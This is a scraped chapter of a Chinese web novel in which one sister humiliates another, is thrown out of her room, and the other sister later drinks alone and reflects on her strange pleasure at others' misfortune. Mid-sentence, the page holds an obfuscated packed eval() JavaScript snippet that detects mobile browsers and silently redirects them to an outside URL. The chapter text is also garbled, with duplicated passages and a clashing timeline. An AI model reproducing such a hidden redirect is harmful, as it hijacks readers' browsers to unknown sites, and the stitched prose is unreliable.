默认冷灰
24号文字
方正启体

121. 醉酒

作者:听君今明本书字数:K更新时间:
    萧亦熙在那窗前站了很久。


    阳光从东边移到头顶,又从头顶开始西斜。她的影子也跟着移,从长变短,又从短变长。


    她就那么站着,一动不动。


    直到太阳快落山的时候,她才转过身。


    “备车。”她说,“我要出门。”


    碧桃一愣:“小姐,这天都快黑了,您要去哪儿?”


    萧亦熙没有回答。


    她只是走进内室,打开妆奁,把那支八宝攒珠钗拿了出来。那颗明珠上的茶渍已经被擦干净了,在暮色里泛着柔和的光。


    她看着那支钗,看了一会儿,又放了回去。


    然后她拿起另一支钗——很素净的一支,白玉的,没有任何镶嵌。


    她把这支钗插进发髻,对着镜子照了照,满意地点点头。


    “走吧。”她说。


    马车出了尚书府,一路往西。


    穿过热闹的街市,穿过冷清的巷子,最后停在一处偏僻的院落前。


    大公主发丧的消息传遍京城的第二日,萧亦熙去了西苑。


    那是尚书府最偏僻的角落。几间破屋,漏风漏雨,墙皮剥落,窗纸破了也没人换。院子里杂草丛生,石径上长满了青苔,踩上去滑腻腻的。


    住着那个新认回来的“二妹妹”——萧咏歌。


    萧亦熙一开始没把这个妹妹放在眼里。


    一个从小在外面长大的野丫头,能有什么出息?认回来也不过是多双筷子,等过两年随便找个人嫁了,还能给尚书府换点彩礼。


    可这个野丫头,居然敢不把她放在眼里。


    前几日在园子里遇上,她端着嫡女的架子,好心好意说了几句“妹妹刚回来,要多学着规矩”之类的话——结果那个野丫头只是淡淡看了她一眼,说了一句“知道了”,然后就走了。


    就走了?


    连福身行礼都没有?


    萧亦熙当时气得脸都白了。可那天人多,她不好发作,只能忍着。


    今日她心情好——大公主死了,她心情能不好吗?——所以决定来会会这个不知天高地厚的野丫头。


    让她知道知道,这尚书府里,谁说了算。


    西苑的门是破的,几块烂木板拼的,虚掩着。萧亦熙抬起脚,一脚踹开。


    门板撞在墙上,发出“咣当”一声响。


    萧亦熙走进去,看见萧咏歌正坐在窗边,手里拿着一本书,阳光从破了的窗纸里漏进来,落在她身上。她听见动静,却连头都没抬,依旧翻着书页。


    萧亦熙的火蹭地就上来了。


    “二妹妹好大的架子。”她站在门口,冷笑着开口,“姐姐来了,连个招呼都不打?”


    尚书府最偏僻的角落,几间破屋,漏风漏雨,住着那个新认回来的“二妹妹”——萧咏歌。


    灯光落在萧咏歌的脸上,把她那过分平静的眉眼照得清清楚楚。那是一张很素净的脸,不施脂粉,没有任何修饰,可不知道为什么,就是让人移不开目光。


    她就那么坐着,像一尊佛像。


    萧亦熙忽然想起围场那日,大公主歪在肩舆里,居高临下地看着她。那种高高在上、仿佛天下万物都不放在眼里的姿态,和此刻萧咏歌的样子,竟有几分说不出的相似。


    可又不一样。


    大公主的高高在上,是刻意摆出来的。是用排场、用身份、用那九凤衔珠的金步摇堆出来的。


    而萧咏歌的淡淡然,是从骨子里透出来的。是不需要任何东西,就让人觉得自己在她面前什么都不是。


    萧亦熙站在那里,忽然不知道该怎么开口。


    她来的时候,心里是有一股气的。那股气撑着她,让她想来看看这个妹妹,想试探试探,想知道那些传言是不是真的。


    可此刻站在这间破屋里,站在这个人面前,那股气忽然就散了。


    “有事?”萧咏歌翻了一页书,头都没抬。


    亦熙的脸沉下来。


    她走上前,一把夺过那本书,摔在地上。


    书页散落,沾了灰。


    “本小姐跟你说话,你聋了?”


    萧咏歌终于抬起头,看了她一眼。


    那眼神淡淡的,像看一只聒噪的麻雀。


    萧亦熙被这眼神刺了一下——这眼神,她见过。


    大公主那日在围场看她,也是这样的眼神。


    居高临下,像看蝼蚁。


    她的火再也压不住了。


    “你这是什么眼神?”她逼近一步,声音尖厉起来,“你以为你是个什么东西?一个外面捡回来的野种,尚书府收留你,是可怜你!你当自己真是二小姐了?告诉你,在我面前,你什么都不是!”


    萧咏歌没说话。


    她只是坐在那里,看着眼前这个气急败坏的女人,表情平静得像一潭死水。


    萧亦熙被这沉默激得更加恼火。她想起那日在围场,自己也是这样站在那些人面前,听着那些羞辱的话,脸上挂着笑,心里却恨不得杀人——


    凭什么?


    凭什么她要在那个贱人面前低头?凭什么她还要在这个野种面前忍气吞声?


    那个贱人已经死了!


    她是尚书府嫡女!她凭什么还要受气!


    “说话啊!”她的声音几乎破了音,“怎么,哑巴了?还是心虚了?你以为你不说话就行了?”


    萧咏歌叹了口气。


    那声叹息很轻,却像一根针,扎在萧亦熙心上。


    萧咏歌站起来,走到她面前。


    萧亦熙愣了一下,下意识往后退了一步。


    但已经晚了。


    萧咏歌伸出手,抓住她的衣领。


    那只手不粗,甚至称得上纤细,可力道却大得惊人。萧亦熙只觉得身子一轻,眼前一花——


    然后她就飞了出去。


    是真的飞。


    她撞破那扇本就破旧的木门,在半空中划过一道弧线,结结实实地摔在院子里的泥地上。


    尘土飞扬,呛得她咳嗽起来。


    她趴在地上,半天爬不起来。嘴里全是泥,又苦又涩,手掌擦破了皮,火辣辣地疼。


    萧咏歌站在门口,低头看着她。阳光从她身后照过来,把她的脸遮在阴影里,看不清表情。


    “下次来之前,先敲门。”


    说完,门关上了。


    那扇本就破旧的木门,被她这一撞,彻底散了架,歪歪斜斜地挂在门框上,挡不住什么。


    可萧亦熙知道,那道门,她不敢再进了。


    她趴在泥地里,浑身发抖。


    不是冷的,是气的。


    她萧亦熙,尚书府嫡女,从小到大没受过这种羞辱!


    那个贱人羞辱她,她忍了,因为那是公主。


    可这个野种算什么东西?一个外面捡回来的野丫头,凭什么也敢这样对她!


    她挣扎着爬起来,对着那扇破门嘶吼:“萧咏歌!你给我等着!我不会放过你的!”


    门里没有回应。


    只有风吹过院子,卷起几片落叶。


    萧亦熙跺了跺脚,气冲冲地走了。


    她要去告诉母亲,要把这个野丫头赶出去!


    可走着走着,她的脚步忽然慢下来。


    她想起刚才那个眼神。


    那个淡淡的、像看一只聒噪的麻雀一样的眼神。


    那个眼神里,没有恐惧,没有愤怒,没有她熟悉的一切。


    只有漠然。


    像在看一只蝼蚁。


    萧亦熙打了个寒颤。


    她想起大公主那日看她的眼神——也是这样的。


    居高临下,像看蝼蚁。


    可大公主是公主,是从小在宫里长大的金枝玉叶。


    这个萧咏歌呢?


    一个从小在外面长大的野丫头,凭什么也有这样的眼神?


    萧亦熙想不明白。


    她加快脚步,离开了西苑。


    身后,那扇破门在风里吱呀作响。


    ——


    萧亦熙走了以后,萧咏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275845|198236||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    歌在窗边坐了很久。


    窗子是破的,糊窗的纸缺了一大块,正好能看见外面的月亮。


    今晚的月亮很圆,很亮,是四月里难得的好月色。月光从破洞里漏进来,在地上铺开一片银白,照得破屋里亮堂堂的。


    萧咏歌看着那月亮,忽然觉得有些无聊。


    她已经很久很久没有觉得无聊了。活了太久太久,久到她自己都记不清有多少年。无聊这种情绪,早该被磨平了才对。


    可今日就是觉得无聊。


    可能是因为那个萧亦熙太吵了。


    吵得她头疼。


    吵得她想——


    想什么呢?


    她不知道。


    她只知道刚才把萧亦熙扔出去的时候,心里有一瞬间的痛快。


    那种痛快,让她想起七日前在围场。


    那日她也在。


    她站在人群外面,看着大公主骑在马上,居高临下地羞辱萧亦熙。看着萧亦熙站在那里,脸上挂着笑,眼眶却红透了。


    她看着看着,忽然抬手,从地上捡起一颗小石子。


    然后她把那颗小石子,轻轻弹了出去。


    石子划过一道弧线,落在大公主的马屁股上。


    马受了惊,猛地一蹿,大公主差点摔下来。虽然被侍卫扶住了,可那一下,吓得她脸色发白,半天没缓过来。


    那个时候,萧咏歌心里也有一瞬间的痛快。


    她告诉自己:那是因为大公主欺负人,她看不惯。


    可那日在云栖阁——大公主捂着心口栽倒在地的时候,她什么都没做。


    她只是恰好路过,恰好看见。


    恰好看见那个高高在上的女人,脸色煞白地倒下去,像一截被砍断的枯木。


    恰好看见那些宫女尖叫着扑上去,乱成一团。


    恰好看见那一瞬间,心里涌起的那股……


    痛快。


    萧咏歌垂下眼。


    她忽然觉得自己有些不对劲。


    活了这么久,她见过太多生死,太多悲欢,太多人间的不平事。她早就该麻木了,早就该无所谓了。


    可为什么那一瞬间,她心里会有那样的感觉?


    为什么把那颗小石子弹出去的时候,她会觉得痛快?


    为什么看着大公主倒下去的时候,她也会觉得痛快?


    为什么刚才把萧亦熙扔出去的时候,她还是觉得痛快?


    萧咏歌想不明白。


    她站起来,走到屋角。


    那里放着一坛酒。


    是前几日丁灵派人送来的,说是南国新酿的百花酿,让她尝尝鲜。


    她一直没动。


    她不怎么喝酒。也不怎么尝人间的东西。


    那些东西对她来说,太浓烈,太短暂,太容易让人生出不该有的念想。


    可今晚,她忽然想尝一尝。


    她拍开泥封,倒了一碗。


    酒液清澈,泛着淡淡的花香,月光照进去,像盛了一碗碎银子。


    她端起来,抿了一口。


    有点甜。


    有点辣。


    咽下去的时候,喉咙里烧烧的,像有一团小火苗,从喉咙一路烧到胃里。


    她又喝了一口。


    然后又一口。


    一碗见底的时候,她觉得脸颊有些发烫。


    她又倒了一碗。


    第二碗喝到一半的时候,她觉得眼前的东西开始晃。


    那月亮本来在窗外,现在好像跑到屋里来了。


    她眨了眨眼,月亮又回到窗外了。


    她又眨了眨眼,月亮又跑进来了。


    她低头看着手里的碗,忽然笑了。


    原来醉了是这种感觉。


    活了这么久,还是第一次醉。


    她放下碗,站起来,想走到窗边去看看月亮。


    月光太亮了,亮得有些晃眼。


    她往前走了一步。


    又走了一步。


    然后她就不在屋里了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)